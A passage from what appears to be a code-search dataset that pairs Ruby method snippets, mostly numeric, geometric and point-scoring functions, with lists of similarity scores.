(yf-y0)/(xf-x0)\n\t\tend\n\t\treturn m\n\tend", "def Float(p0) end", "def position(from=0, to, t)\n p = (to-from).abs # period\n (((t-p) % (2*p))-p).abs+[from,to].min\nend", "def solution(n)\n\tval = 0.0\n\tval += 1.0 unless n[0].zero?\n\tval += 2.0 unless n[1].zero?\n\tval += 4.0 unless n[2].zero?\n\tval += 8.0 unless n[3].zero?\n val\n\t\nend", "def point_match(point, nominal)\n point[0].should be_within(0.01).of(nominal[0])\n point[1].should eq nominal[1]\nend", "def update(point)\n\t\t# move relative to the initial point\n\t\t\n\t\t@destination = @start + movement_delta(point)\n\tend", "def calc(radius, const, point)\n result = true\n prev_value = point\n\n (1..MAX_ITERATION).to_a.each do |i|\n break i if (prev_value = prev_value ** 2 + const).abs > radius\n true\n end\n end", "def pv(fv, n, r)\n fv*(1.0/((1+r)**n))\nend", "def present_value(rate,periods,future_value)\n present_value = future_value / (1+rate)**periods\n end", "def boiling_point(elevation, boiling_ft)\n \televation * boiling_ft + 100\nend", "def boiling_point(elevation, boiling_ft)\n \televation * boiling_ft + 100\nend", "def rand_point()\n \n end", "def true_point_value\n\t\ttotal = 0\n\t\ttotal += points_scored\n\t\ttotal += field_goals_made * season.field_goals_made_point_value\n\t\ttotal -= field_goals_attempted * season.field_goals_attempted_point_value\n\t\ttotal += free_throws_made * season.free_throws_made_point_value\n\t\ttotal -= free_throws_attempted * season.free_throws_attempted_point_value\n\t\ttotal += three_pointers_made * season.three_pointers_made_point_value\n\t\ttotal += assists * season.assists_point_value\n\t\ttotal += total_rebounds * season.total_rebounds_point_value\n\t\ttotal += steals * season.steals_point_value\n\t\ttotal += blocks * season.blocks_point_value\n\t\ttotal -= turnovers * season.turnovers_point_value\n\t\ttotal\n\tend", "def zrdo\n\n # we seed a good b and keep estimating up\n b = 120\n prevb = 21\n\n calcb = 0\n while prevb < 10 ** 12 do\n\n # this part will find us the next good b\n calcb = Math.sqrt(1 + 2 * b ** 2 - 2 * b)\n while calcb.round != calcb do\n b += 1\n calcb = Math.sqrt(1 + 2 * b ** 2 - 2 * b)\n end\n\n c = b\n # this is our estimation phase... since b / prevb\n # approaches a limit, i think it is quite accurate\n b = (b**2 / prevb.to_f).floor\n prevb = c\n # prevb directly correlates to calcb at this point,\n # that is why we have while prevb < 10**12\n end\n 1/2.0 + calcb / 2.0\nend", "def test_find\n @search.adjacent_points_function = ->(current) {[-0.1, 0.1].map {|x| current + x}}\n @search.cost_function = ->(x){x - 0.1}\n assert_in_delta 0.1, @search.find\n end", "def falsa_posicao(xl, xu, erro, imax, funcaof = funcao)\n x = xl.to_f\n i = 0\n ea = 100\n fl = funcaof.call(xl)\n fu = funcaof.call(xu)\n if fl.abs < fu.abs \n x = xl\n else\n x = xu\n end\n \n while( ea > erro && i<imax ) \n xtemp = x\n x = xu + (fu * (xl - xu)) / (fu - fl)\n\t#puts \"#{x} = #{xu} + (#{fu} * (#{xl}-#{xu}) / (#{fu} - #{fl})\"\n fx = funcaof.call(x)\n i = i + 1\n if (x!=0)\n ea = ((x.to_f - xtemp.to_f).abs/ x.to_f ).abs * 100\n end\n\n if ( fl.abs < fu.abs )\n xl = x\n fl = fx\n else\n xu = x\n fu = fx\n end\n #puts \"#{i}\\t#{xl}\\t#{xu}\\t#{fl}\\t#{fu}\\t#{ea}\"\n $out.puts \"#{i}\\t#{xl}\\t#{xu}\\t#{x}\\t#{ea}\" if $out!=nil\n end\n return {raiz: x, iteracoes: i}\nend", "def perp\n self.class.new( -@y, @x )\n end", "def resta (other)\n\t\tres=Fraccion.new(0,0)\n\t\tif @y == other.y # igual denominador\n\t\t\tres.x= @x - other.x\t\t\n\t\t\tres.y= @y\t\n\t\telse\t\t # distinto denominador\n\t\t\t\n\t\t\tres.y=mcm(@y, other.y)\t\t\n\t\t\tres.x=((@x *res.y)/@y)-((other.x * res.y)/other.y) \n\t\tend\n\treturn res\n\tend", "def solution(value)\n # enter your solution here\n value.round(2)\nend", "def y(from = 0)\n self[1,2].to_i - 1 + from\n end", "def points\n -1\n end", "def games_won_or_lost(add_one_point)\n if add_one_point > 0\n return\n @points += add_one_point\n else\n add_one_point == 0\n return\n @points \n end\nend", "def log\n values = [ @simplex.points[-1][1],(@simplex.norm || 0)].flatten\n puts \"New point at:\\n #{@simplex.points[-1][0].to_a.inspect} -> %9.5f ||%9.5f||\" % values \n puts \"______________________________________\"\n end", "def fudge(stat)\n stat * rand(0.8..1.2)\n end", "def positive?; end", "def computeMidMovePoint()\n# dist = computeDistance(@targetPosition, @ballPosition)\n dist = (@targetPosition.getX() - @ballPosition.getX()).abs() + (@targetPosition.getY() - @ballPosition.getY()).abs()\n \n dX = (@targetPosition.getX() - @ballPosition.getX()) / dist\n dY = (@targetPosition.getY() - @ballPosition.getY()) / dist\n moveX = @ballPosition.getX() - dX * @@odLopty\n moveY = @ballPosition.getY() - dY * @@odLopty\n \n movePositionTmp = Java::sk.fiit.robocup.library.geometry.Vector3D.cartesian(moveX, moveY, 0)\n\n agentModel = Java::sk.fiit.jim.agent.models.AgentModel.getInstance()\n movePosition = agentModel.relativize(movePositionTmp)\n \n moveDist = movePositionTmp.getXYDistanceFrom(@agentPosition)\n ballDist = @ballPosition.getXYDistanceFrom(@agentPosition)\n \n# if ((@ballPosition.getPhi() - movePositionTmp.getPhi()).abs() < 0.1 && moveDist > ballDist)\n# puts \"BP: \"+@ballPosition.getX().to_s+\", \"+@ballPosition.getY().to_s\n# puts \"MID: \"+movePositionTmp.getX().to_s+\", \"+movePositionTmp.getY().to_s\n# if dX > dY\n# newMP = Java::sk.fiit.robocup.library.geometry.Vector3D.cartesian(\n# movePositionTmp.getX() + 1.5 * dY,\n# movePositionTmp.getY() - 1.5 * dX,\n# 0)\n# else\n# newMP = Java::sk.fiit.robocup.library.geometry.Vector3D.cartesian(\n# movePositionTmp.getX() - 1.5 * dY,\n# movePositionTmp.getY() + 1.5 * dX,\n# 0)\n# end\n# \n# movePosition = agentModel.relativize(newMP)\n# \n# @indirectMove = true\n# end\n \n return movePosition\n end", "def abs4(x) return x<0?-x:x end", "def points\n return 0 if event.trial? || event.trialed?\n\n points_if_not_trial\n end", "def forward_prediction\n return @x + MOVE[@f][:x], @y + MOVE[@f][:y]\n end", "def f\n 0\n end", "def f\n 0\n end", "def step_one_points\n\t\tpoints = 0\n\t\tpoints+=50 if !link.blank?\n\t\tpoints+=25 if !title.blank?\n\t\tpoints+=25 if !company.blank?\n\t\tpoints\n\tend", "def trapecios(a, b, n, &f)\n h = (b - a).fdiv(n)\n ai0 = f.call(a) + f.call(b)\n ai = 0\n\n (1..n - 1).each do |k|\n x = a + k * h\n ai += f.call(x)\n end\n\n ai = (ai0 + 2 * ai) * h.fdiv(2)\n\n puts \"Un valor aproximado de la integral para #{n} subintervalos es #{ai}.\"\n return ai\nend", "def rate_of_change(p_two, p_one, p_zero)\n #this is the most recent slope\n @l_zero = p_zero - p_one\n #this is the older slope\n @l_one = p_one - p_two\n\n if (@l_zero.abs > @l_one.abs) && (@l_zero > 0)\n 1\n elsif (@l_zero.abs < @l_one.abs) && (@l_zero < 0)\n -1\n else\n 0\n end\n end", "def initialize set_point = 0, position = 0\n @set_point = set_point.to_f\n @position = position.to_f\n @sample_rate = 1.0 # seconds - figure this out through timing\n\n @integral_gain = 0.0\n @derivative_gain = 0.0\n @proportional_gain = 1.0\n\n # internal\n @derivative = 0.0\n @integral = 0.0\n @previous_error = @set_point - @position\n end", "def tak x, y, z\n if y >= x\n return z\n else\n return tak( tak(x-1, y, z),\n tak(y-1, z, x),\n tak(z-1, x, y))\n end\nend", "def we pts1, pts2\n (1 / ( 10 ** ( - (pts1 - pts2) / 400.0) + 1)).round(3)\n end", "def set_points\n self.points ||= 0.0\n end", "def f(n, x)\n # $count += 1\n if n == 0\n x <= 0 ? 0 : 1\n elsif x <= 1\n 0\n elsif 1 < x && x <= 1 + $a[n - 1]\n f(n - 1, x - 1)\n elsif x == 2 + $a[n - 1]\n $p[n - 1] + 1\n elsif 2 + ($a[n - 1]) < x && x <= 2 + 2 * $a[n - 1]\n $p[n - 1] + 1 + f(n - 1, x - 2 - $a[n - 1])\n else\n 2 * $p[n - 1] + 1\n end\nend", "def net_present_value_derivative\n lambda do |x|\n relative_payments.reduce(0) do |sum, relative_payment|\n sum + relative_payment.amount * -relative_payment.offset * (1 + x)**(-relative_payment.offset - 1)\n end\n end\n end", "def goto_point(in_point, tRo_x ,tRo_y, tRo_z)\n tem_pln = APlane.new(in_point.x, in_point.y, in_point.z, tRo_x, tRo_y, tRo_z)\n result_ik = MotionPlan.IKsolverNew(tem_pln , @current_ik)\n update(result_ik) if result_ik[:success]\n end", "def forward(point)\r\n forward!(point.dup)\r\n end", "def points; end", "def prepare_result\n\t\t\tsuper\n\t\t\t@lowest_old = MM.get_lowest_old(@current_point, @start_vector, @hd_config, false, @tuning_range)\n if @lowest_old[0] == nil\n\t\t\t\t@initial_run = true\n\t\t\t\tthrow :jump_back\n\t\t\tend\n\t\tend", "def reachable_by_step(pc)\n (-2..2).map {|x| (x + pc) %12}\nend", "def heaviside_step_function(value)\n return 1 if value >= @theta\n return 0\n end", "def futur?\n before > 0\n end", "def solvable?\n steps > 0\n end", "def lowerTemp( step )\n if step < 0.0 then raiseTemp( -1.0 * step )\n else\n val = @value - step\n if isValid( val, @unit ) then\n @value = val\n end \n end \n self\n end", "def apicoplast_targeted?\n @points >= 4\n end", "def __rl_fix_point(x)\r\n if (x > @rl_end)\r\n @rl_end\r\n elsif (x < 0)\r\n 0\r\n else\r\n x\r\n end\r\n end", "def near_one?(value)\n near_zero?(value - 1.0)\n end", "def gain_a_point\n\n self.score += 1\n\n end", "def validate_current(current)\n (current < 0 and current > -3.0)\n end", "def p; @p.nil? ? p=sqrt(x**2+y**2) : @p; end", "def series_sum(n)\n\n if n == 1 || n > 1\n newValue = n + 1.0/4.0\n puts newValue\n\n\n else\n puts n = 0.00\n end\n\n\nend", "def unote_finale\n @unote_finale ||= begin\n r = ((unombre_points.to_f / nombre_points_total) * 20).round(1)\n r.to_i != r || r = r.to_i\n r\n end\n end", "def succ\n end", "def gain_point\n @score += 1\n end", "def point_differential\r\n self.home_score-self.away_score\r\n end", "def leapfrog\n @u[0] = @mx.times.map { |j| self.ic(@x[j]) } # IC: u(x,0)\n alpha = @a*@dt/@dx\n @u[1] = (1.upto(@mx-3)).to_a # u(x, t1)\n @u[1].map! { |j| 0.5*(@u[0][j+1]+u[0][j-1])-0.5*alpha*(@u[0][j+1]-@u[0][j-1]) }\n @u[1].unshift 0.5*(@u[0][1]+u[0][@mx-2])-0.5*alpha*(@u[0][1]-@u[0][@mx-2]) # u(0,t1)\n @u[1].push 0.5*(@u[0][0]+u[0][@mx-3])-0.5*alpha*(@u[0][0]-@u[0][@mx-3]) # u(max(x), t1)\n @u[1].push @u[1][0] # periodic BC\n 1.upto(@mt-2) do |n|\n @u[n+1] = (1.upto(@mx-3)).to_a\n @u[n+1].map! { |j| @u[n-1][j]-alpha*(@u[n][j+1]-@u[n][j-1])}\n @u[n+1].unshift @u[n-1][0]-alpha*(@u[n][1]-@u[n][@mx-2]) # u(0,t)\n @u[n+1].push @u[n-1][@mx-2]-alpha*(@u[n][0]-@u[n][@mx-3]) # u(max(x), t)\n @u[n+1].push @u[n+1][0] # periodic BC\n end\n end", "def get_point\n @right_answers += 1\n end", "def pred\n self - 1\n end" ]
[ "0.60306406", "0.5910319", "0.5785487", "0.57501876", "0.57475793", "0.5743277", "0.56843805", "0.56843805", "0.5681312", "0.5681312", "0.5667428", "0.5628756", "0.56141144", "0.5605369", "0.55984056", "0.5595164", "0.5575031", "0.554584", "0.554584", "0.554584", "0.551895", "0.549084", "0.5490432", "0.5449414", "0.5425192", "0.5407448", "0.5392413", "0.539091", "0.5390834", "0.53857523", "0.53849256", "0.5369301", "0.5368635", "0.53449017", "0.53442633", "0.53296757", "0.5321475", "0.52980375", "0.5295325", "0.52904946", "0.5288223", "0.52857935", "0.5285244", "0.52613634", "0.5261266", "0.52474374", "0.5241323", "0.523813", "0.523813", "0.52306277", "0.5226861", "0.52267265", "0.5225493", "0.522316", "0.52137643", "0.5211642", "0.5207883", "0.5206886", "0.5205309", "0.52013975", "0.51958096", "0.5192441", "0.5190507", "0.51864886", "0.51864296", "0.5183139", "0.5182575", "0.51624674", "0.51624674", "0.5156983", "0.5141271", "0.5133852", "0.5131303", "0.51219416", "0.5117326", "0.51149327", "0.5111846", "0.5109736", "0.51091874", "0.5107905", "0.5105394", "0.5089191", "0.5080898", "0.5080414", "0.50749147", "0.5074069", "0.50690734", "0.5065636", "0.5057167", "0.5056106", "0.5050658", "0.5047271", "0.50451434", "0.5043454", "0.5041754", "0.50384307", "0.50377107", "0.5032484", "0.5031936", "0.5030534", "0.50230134" ]
0.0
-1
successor with fixed point
def succ_vkey_d(_vkey, _d) for d in 0..@d-1 next if d == _d if _vkey[d] < @m[d]-1 _vkey[d] += 1 return _vkey else _vkey[d] = 0 end end return nil end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def takfp x, y, z\n return z unless y < x\n takfp( takfp(x-1.0, y, z),\n takfp(y-1.0, z, x),\n takfp(z-1.0, x, y))\nend", "def act_f()\n (y() >= 0) ? 1.0 : -1.0;\n end", "def calc_tip(p, r)\n \n t = p.round(-1)/10\n \n case \n when r == 0\n t -= 1\n when r == 1\n t += 1\n when r == -1\n t = (t/2).floor - 1\n end\n \n final_res = t > 0 ? t : 0\n return final_res\nend", "def reset_step(x, st, &f)\n y1 = f.call(x)\n y2 = f.call(x + st)\n\n if (y1 - y2).abs / mul > 1.0\n [st / (y1 - y2).abs / mul, 0.001].max\n else\n st / mul * 2\n end\n end", "def utilityF(delta)\n\treturn 1.0 if delta <= 0\n\treturn 2.0 ** (-delta / 30.0)\nend", "def fixed_point(array)\n @start_index = 0\n @end_index = array.length - 1\n @result = -1\n while @start_index <= @end_index\n @mid_index = @start_index + (@end_index - @start_index) / 2\n if @mid_index == array[@mid_index]\n @result = @mid_index\n @end_index = @mid_index - 1\n elsif @mid_index < array[@mid_index]\n @end_index = @mid_index - 1\n else\n @start_index = @mid_index + 1\n end\n end\n @result\nend", "def update(point)\n\t\t\n\tend", "def update(point)\n\t\t\n\tend", "def positive; end", "def positive; end", "def fortress_goal_point\n trial_fortress_cells.each do |cell|\n return Point.new(cell.x, cell.y) if cell.goal_flg\n end\n end", "def set_psi x\n if x>200\n x=200\n elsif x<0\n x=0\n end\n @@psi = x\n end", "def contract_inside(center, point, gamma=0.5)\n p = center + ( point - center ) * gamma\n p.result = func(p)\n p\n end", "def fifteen?\n @points == 1\n end", "def make_first_play?(points)\n points > 350\n end", "def mirror_update pt\n pt.x = pt.x * (-1)\nend", "def f(x)\n 0.4 * x + 1\nend", "def succ() end", "def succ() end", "def succ() end", "def raiseTemp( step ) \n if step < 0.0 then lowerTemp( -1.0 * step )\n else\n @value += step\n end \n self\n end", "def anticipated_fixed_payment(present_value, rate, term)\n\t\t((present_value.to_f) / ((1 - (1 - rate.to_f ) ** term ) / rate.to_f )).round(4)\n end", "def succ!() end", "def update(point)\n\t\t\t\t\n\t\t\tend", "def points\n 1\n end", "def net_present_value\n lambda do |x|\n relative_payments.reduce(0) do |sum, relative_payment|\n sum + relative_payment.amount * (1 + x)**-relative_payment.offset\n end\n end\n end", "def reflect(center, point, alpha=1.0)\n #center.map.with_index{|e,i| e + alpha * ( e - point[i] )} # version for simple arrays\n p = center + ( center - point ) * alpha\n p.result = func(p)\n p\n end", "def future_given_present(present_value, interest, term)\n (present_value.to_f * (1 + interest.to_f) ** term).round(4)\n end", "def succ(result); end", "def t(x)\n case true\n when start_point.nil?\n nil\n when end_point.nil?\n nil\n when !self.contains?(x)\n nil\n when x == start_point.x\n 0.0\n when x == end_point.x\n 1.0\n else # must lie within region, not start or end\n interval = end_point.x - start_point.x\n interval_fraction = x - start_point.x\n interval_fraction / interval\n end\n end", "def nextping(prev)\n [prev+1, (prev+exprand()).round].max\nend", "def position=(point); end", "def success_threshold; end", "def vulnerable_undertrick_points\n if !made?\n p = -100 * modifier\n if result < -1\n return p += (result + 1) * 300 if doubled?\n return p += (result + 1) * 600 if redoubled?\n return p += (result + 1) * 100\n end\n p\n else\n 0\n end\n end", "def rate_pos_safe\n unless @move_pos_value\n move_pos_evaluate\n end\n return @move_pos_value\n end", "def make_one_pole_swept\n y1 = 0.0\n lambda do |input, coef|\n y1 = (coef + 1) * input - coef * y1\n end\n end", "def set_points!\n self.points = 0 unless self.points.presence\n end", "def value(x, y)\r\n return 1 if x == 1 || y == 1\r\n value(x - 1, y) + value(x, y - 1)\r\nend", "def pendiente(x0,y0,xf,yf)\n\t\tif yf == y0 && xf == x0\n\t\t\tm = yo/x0\n\t\telsif xf == x0 && xf < 0\n\t\t\tm = -100000\n\t\telsif xf == x0 && xf >= 0\n\t\t\tm = 1000000\n\t\telse\n\t\t\tm = (yf-y0)/(xf-x0)\n\t\tend\n\t\treturn m\n\tend", "def Float(p0) end", "def position(from=0, to, t)\n p = (to-from).abs # period\n (((t-p) % (2*p))-p).abs+[from,to].min\nend", "def point_match(point, nominal)\n point[0].should be_within(0.01).of(nominal[0])\n point[1].should eq nominal[1]\nend", "def solution(n)\n\tval = 0.0\n\tval += 1.0 unless n[0].zero?\n\tval += 2.0 unless n[1].zero?\n\tval += 4.0 unless n[2].zero?\n\tval += 8.0 unless n[3].zero?\n val\n\t\nend", "def update(point)\n\t\t# move relative to the initial point\n\t\t\n\t\t@destination = @start + movement_delta(point)\n\tend", "def calc(radius, const, point)\n result = true\n prev_value = point\n\n (1..MAX_ITERATION).to_a.each do |i|\n break i if (prev_value = prev_value ** 2 + const).abs > radius\n true\n end\n end", "def pv(fv, n, r)\n fv*(1.0/((1+r)**n))\nend", "def boiling_point(elevation, boiling_ft)\n \televation * boiling_ft + 100\nend", "def boiling_point(elevation, boiling_ft)\n \televation * boiling_ft + 100\nend", "def present_value(rate,periods,future_value)\n present_value = future_value / (1+rate)**periods\n end", "def rand_point()\n \n end", "def true_point_value\n\t\ttotal = 0\n\t\ttotal += points_scored\n\t\ttotal += field_goals_made * season.field_goals_made_point_value\n\t\ttotal -= field_goals_attempted * season.field_goals_attempted_point_value\n\t\ttotal += free_throws_made * season.free_throws_made_point_value\n\t\ttotal -= free_throws_attempted * season.free_throws_attempted_point_value\n\t\ttotal += three_pointers_made * season.three_pointers_made_point_value\n\t\ttotal += assists * season.assists_point_value\n\t\ttotal += total_rebounds * season.total_rebounds_point_value\n\t\ttotal += steals * season.steals_point_value\n\t\ttotal += blocks * season.blocks_point_value\n\t\ttotal -= turnovers * season.turnovers_point_value\n\t\ttotal\n\tend", "def test_find\n @search.adjacent_points_function = ->(current) {[-0.1, 0.1].map {|x| current + x}}\n @search.cost_function = ->(x){x - 0.1}\n assert_in_delta 0.1, @search.find\n end", "def zrdo\n\n # we seed a good b and keep estimating up\n b = 120\n prevb = 21\n\n calcb = 0\n while prevb < 10 ** 12 do\n\n # this part will find us the next good b\n calcb = Math.sqrt(1 + 2 * b ** 2 - 2 * b)\n while calcb.round != calcb do\n b += 1\n calcb = Math.sqrt(1 + 2 * b ** 2 - 2 * b)\n end\n\n c = b\n # this is our estimation phase... since b / prevb\n # approaches a limit, i think it is quite accurate\n b = (b**2 / prevb.to_f).floor\n prevb = c\n # prevb directly correlates to calcb at this point,\n # that is why we have while prevb < 10**12\n end\n 1/2.0 + calcb / 2.0\nend", "def falsa_posicao(xl, xu, erro, imax, funcaof = funcao)\n x = xl.to_f\n i = 0\n ea = 100\n fl = funcaof.call(xl)\n fu = funcaof.call(xu)\n if fl.abs < fu.abs \n x = xl\n else\n x = xu\n end\n \n while( ea > erro && i<imax ) \n xtemp = x\n x = xu + (fu * (xl - xu)) / (fu - fl)\n\t#puts \"#{x} = #{xu} + (#{fu} * (#{xl}-#{xu}) / (#{fu} - #{fl})\"\n fx = funcaof.call(x)\n i = i + 1\n if (x!=0)\n ea = ((x.to_f - xtemp.to_f).abs/ x.to_f ).abs * 100\n end\n\n if ( fl.abs < fu.abs )\n xl = x\n fl = fx\n else\n xu = x\n fu = fx\n end\n #puts \"#{i}\\t#{xl}\\t#{xu}\\t#{fl}\\t#{fu}\\t#{ea}\"\n $out.puts \"#{i}\\t#{xl}\\t#{xu}\\t#{x}\\t#{ea}\" if $out!=nil\n end\n return {raiz: x, iteracoes: i}\nend", "def perp\n self.class.new( -@y, @x )\n end", "def resta (other)\n\t\tres=Fraccion.new(0,0)\n\t\tif @y == other.y # igual denominador\n\t\t\tres.x= @x - other.x\t\t\n\t\t\tres.y= @y\t\n\t\telse\t\t # distinto denominador\n\t\t\t\n\t\t\tres.y=mcm(@y, other.y)\t\t\n\t\t\tres.x=((@x *res.y)/@y)-((other.x * res.y)/other.y) \n\t\tend\n\treturn res\n\tend", "def solution(value)\n # enter your solution here\n value.round(2)\nend", "def y(from = 0)\n self[1,2].to_i - 1 + from\n end", "def points\n -1\n end", "def games_won_or_lost(add_one_point)\n if add_one_point > 0\n return\n @points += add_one_point\n else\n add_one_point == 0\n return\n @points \n end\nend", "def log\n values = [ @simplex.points[-1][1],(@simplex.norm || 0)].flatten\n puts \"New point at:\\n #{@simplex.points[-1][0].to_a.inspect} -> %9.5f ||%9.5f||\" % values \n puts \"______________________________________\"\n end", "def fudge(stat)\n stat * rand(0.8..1.2)\n end", "def positive?; end", "def computeMidMovePoint()\n# dist = computeDistance(@targetPosition, @ballPosition)\n dist = (@targetPosition.getX() - @ballPosition.getX()).abs() + (@targetPosition.getY() - @ballPosition.getY()).abs()\n \n dX = (@targetPosition.getX() - @ballPosition.getX()) / dist\n dY = (@targetPosition.getY() - @ballPosition.getY()) / dist\n moveX = @ballPosition.getX() - dX * @@odLopty\n moveY = @ballPosition.getY() - dY * @@odLopty\n \n movePositionTmp = Java::sk.fiit.robocup.library.geometry.Vector3D.cartesian(moveX, moveY, 0)\n\n agentModel = Java::sk.fiit.jim.agent.models.AgentModel.getInstance()\n movePosition = agentModel.relativize(movePositionTmp)\n \n moveDist = movePositionTmp.getXYDistanceFrom(@agentPosition)\n ballDist = @ballPosition.getXYDistanceFrom(@agentPosition)\n \n# if ((@ballPosition.getPhi() - movePositionTmp.getPhi()).abs() < 0.1 && moveDist > ballDist)\n# puts \"BP: \"+@ballPosition.getX().to_s+\", \"+@ballPosition.getY().to_s\n# puts \"MID: \"+movePositionTmp.getX().to_s+\", \"+movePositionTmp.getY().to_s\n# if dX > dY\n# newMP = Java::sk.fiit.robocup.library.geometry.Vector3D.cartesian(\n# movePositionTmp.getX() + 1.5 * dY,\n# movePositionTmp.getY() - 1.5 * dX,\n# 0)\n# else\n# newMP = Java::sk.fiit.robocup.library.geometry.Vector3D.cartesian(\n# movePositionTmp.getX() - 1.5 * dY,\n# movePositionTmp.getY() + 1.5 * dX,\n# 0)\n# end\n# \n# movePosition = agentModel.relativize(newMP)\n# \n# @indirectMove = true\n# end\n \n return movePosition\n end", "def points\n return 0 if event.trial? || event.trialed?\n\n points_if_not_trial\n end", "def abs4(x) return x<0?-x:x end", "def forward_prediction\n return @x + MOVE[@f][:x], @y + MOVE[@f][:y]\n end", "def f\n 0\n end", "def f\n 0\n end", "def step_one_points\n\t\tpoints = 0\n\t\tpoints+=50 if !link.blank?\n\t\tpoints+=25 if !title.blank?\n\t\tpoints+=25 if !company.blank?\n\t\tpoints\n\tend", "def trapecios(a, b, n, &f)\n h = (b - a).fdiv(n)\n ai0 = f.call(a) + f.call(b)\n ai = 0\n\n (1..n - 1).each do |k|\n x = a + k * h\n ai += f.call(x)\n end\n\n ai = (ai0 + 2 * ai) * h.fdiv(2)\n\n puts \"Un valor aproximado de la integral para #{n} subintervalos es #{ai}.\"\n return ai\nend", "def rate_of_change(p_two, p_one, p_zero)\n #this is the most recent slope\n @l_zero = p_zero - p_one\n #this is the older slope\n @l_one = p_one - p_two\n\n if (@l_zero.abs > @l_one.abs) && (@l_zero > 0)\n 1\n elsif (@l_zero.abs < @l_one.abs) && (@l_zero < 0)\n -1\n else\n 0\n end\n end", "def initialize set_point = 0, position = 0\n @set_point = set_point.to_f\n @position = position.to_f\n @sample_rate = 1.0 # seconds - figure this out through timing\n\n @integral_gain = 0.0\n @derivative_gain = 0.0\n @proportional_gain = 1.0\n\n # internal\n @derivative = 0.0\n @integral = 0.0\n @previous_error = @set_point - @position\n end", "def tak x, y, z\n if y >= x\n return z\n else\n return tak( tak(x-1, y, z),\n tak(y-1, z, x),\n tak(z-1, x, y))\n end\nend", "def we pts1, pts2\n (1 / ( 10 ** ( - (pts1 - pts2) / 400.0) + 1)).round(3)\n end", "def set_points\n self.points ||= 0.0\n end", "def f(n, x)\n # $count += 1\n if n == 0\n x <= 0 ? 0 : 1\n elsif x <= 1\n 0\n elsif 1 < x && x <= 1 + $a[n - 1]\n f(n - 1, x - 1)\n elsif x == 2 + $a[n - 1]\n $p[n - 1] + 1\n elsif 2 + ($a[n - 1]) < x && x <= 2 + 2 * $a[n - 1]\n $p[n - 1] + 1 + f(n - 1, x - 2 - $a[n - 1])\n else\n 2 * $p[n - 1] + 1\n end\nend", "def goto_point(in_point, tRo_x ,tRo_y, tRo_z)\n tem_pln = APlane.new(in_point.x, in_point.y, in_point.z, tRo_x, tRo_y, tRo_z)\n result_ik = MotionPlan.IKsolverNew(tem_pln , @current_ik)\n update(result_ik) if result_ik[:success]\n end", "def net_present_value_derivative\n lambda do |x|\n relative_payments.reduce(0) do |sum, relative_payment|\n sum + relative_payment.amount * -relative_payment.offset * (1 + x)**(-relative_payment.offset - 1)\n end\n end\n end", "def forward(point)\r\n forward!(point.dup)\r\n end", "def points; end", "def prepare_result\n\t\t\tsuper\n\t\t\t@lowest_old = MM.get_lowest_old(@current_point, @start_vector, @hd_config, false, @tuning_range)\n if @lowest_old[0] == nil\n\t\t\t\t@initial_run = true\n\t\t\t\tthrow :jump_back\n\t\t\tend\n\t\tend", "def reachable_by_step(pc)\n (-2..2).map {|x| (x + pc) %12}\nend", "def heaviside_step_function(value)\n return 1 if value >= @theta\n return 0\n end", "def futur?\n before > 0\n end", "def solvable?\n steps > 0\n end", "def lowerTemp( step )\n if step < 0.0 then raiseTemp( -1.0 * step )\n else\n val = @value - step\n if isValid( val, @unit ) then\n @value = val\n end \n end \n self\n end", "def apicoplast_targeted?\n @points >= 4\n end", "def __rl_fix_point(x)\r\n if (x > @rl_end)\r\n @rl_end\r\n elsif (x < 0)\r\n 0\r\n else\r\n x\r\n end\r\n end", "def near_one?(value)\n near_zero?(value - 1.0)\n end", "def gain_a_point\n\n self.score += 1\n\n end", "def validate_current(current)\n (current < 0 and current > -3.0)\n end", "def p; @p.nil? ? p=sqrt(x**2+y**2) : @p; end", "def series_sum(n)\n\n if n == 1 || n > 1\n newValue = n + 1.0/4.0\n puts newValue\n\n\n else\n puts n = 0.00\n end\n\n\nend", "def unote_finale\n @unote_finale ||= begin\n r = ((unombre_points.to_f / nombre_points_total) * 20).round(1)\n r.to_i != r || r = r.to_i\n r\n end\n end", "def gain_point\n @score += 1\n end", "def succ\n end", "def point_differential\r\n self.home_score-self.away_score\r\n end", "def get_point\n @right_answers += 1\n end", "def leapfrog\n @u[0] = @mx.times.map { |j| self.ic(@x[j]) } # IC: u(x,0)\n alpha = @a*@dt/@dx\n @u[1] = (1.upto(@mx-3)).to_a # u(x, t1)\n @u[1].map! { |j| 0.5*(@u[0][j+1]+u[0][j-1])-0.5*alpha*(@u[0][j+1]-@u[0][j-1]) }\n @u[1].unshift 0.5*(@u[0][1]+u[0][@mx-2])-0.5*alpha*(@u[0][1]-@u[0][@mx-2]) # u(0,t1)\n @u[1].push 0.5*(@u[0][0]+u[0][@mx-3])-0.5*alpha*(@u[0][0]-@u[0][@mx-3]) # u(max(x), t1)\n @u[1].push @u[1][0] # periodic BC\n 1.upto(@mt-2) do |n|\n @u[n+1] = (1.upto(@mx-3)).to_a\n @u[n+1].map! { |j| @u[n-1][j]-alpha*(@u[n][j+1]-@u[n][j-1])}\n @u[n+1].unshift @u[n-1][0]-alpha*(@u[n][1]-@u[n][@mx-2]) # u(0,t)\n @u[n+1].push @u[n-1][@mx-2]-alpha*(@u[n][0]-@u[n][@mx-3]) # u(max(x), t)\n @u[n+1].push @u[n+1][0] # periodic BC\n end\n end", "def pred\n self - 1\n end" ]
[ "0.6031295", "0.59098715", "0.5786817", "0.5750682", "0.57472545", "0.5743697", "0.5686179", "0.5686179", "0.56802845", "0.56802845", "0.5668836", "0.56283504", "0.56164235", "0.5606677", "0.5600116", "0.5595461", "0.5574722", "0.55440944", "0.55440944", "0.55440944", "0.5519125", "0.54901874", "0.5488694", "0.54513025", "0.5426903", "0.5406587", "0.5393828", "0.5390992", "0.5389277", "0.5387452", "0.5384971", "0.537015", "0.53684735", "0.53455114", "0.5343921", "0.5330618", "0.5322558", "0.5298367", "0.52951056", "0.5290486", "0.52890563", "0.52876735", "0.52839273", "0.5262667", "0.5262623", "0.5248177", "0.5240968", "0.5240968", "0.52405876", "0.5231255", "0.52277035", "0.5227083", "0.5227001", "0.5222344", "0.5214606", "0.5211933", "0.52082306", "0.52066976", "0.5206039", "0.5202946", "0.519611", "0.51919764", "0.51889116", "0.5188284", "0.51850647", "0.5184996", "0.51833314", "0.5159412", "0.5159412", "0.51583254", "0.5140863", "0.5134781", "0.51313424", "0.51229614", "0.5119413", "0.5116006", "0.51110166", "0.5110313", "0.51092696", "0.5108079", "0.5107782", "0.50889695", "0.50809723", "0.508051", "0.50740844", "0.50737894", "0.506949", "0.5067004", "0.50572413", "0.5056852", "0.50529927", "0.5047319", "0.5045683", "0.5042828", "0.5041412", 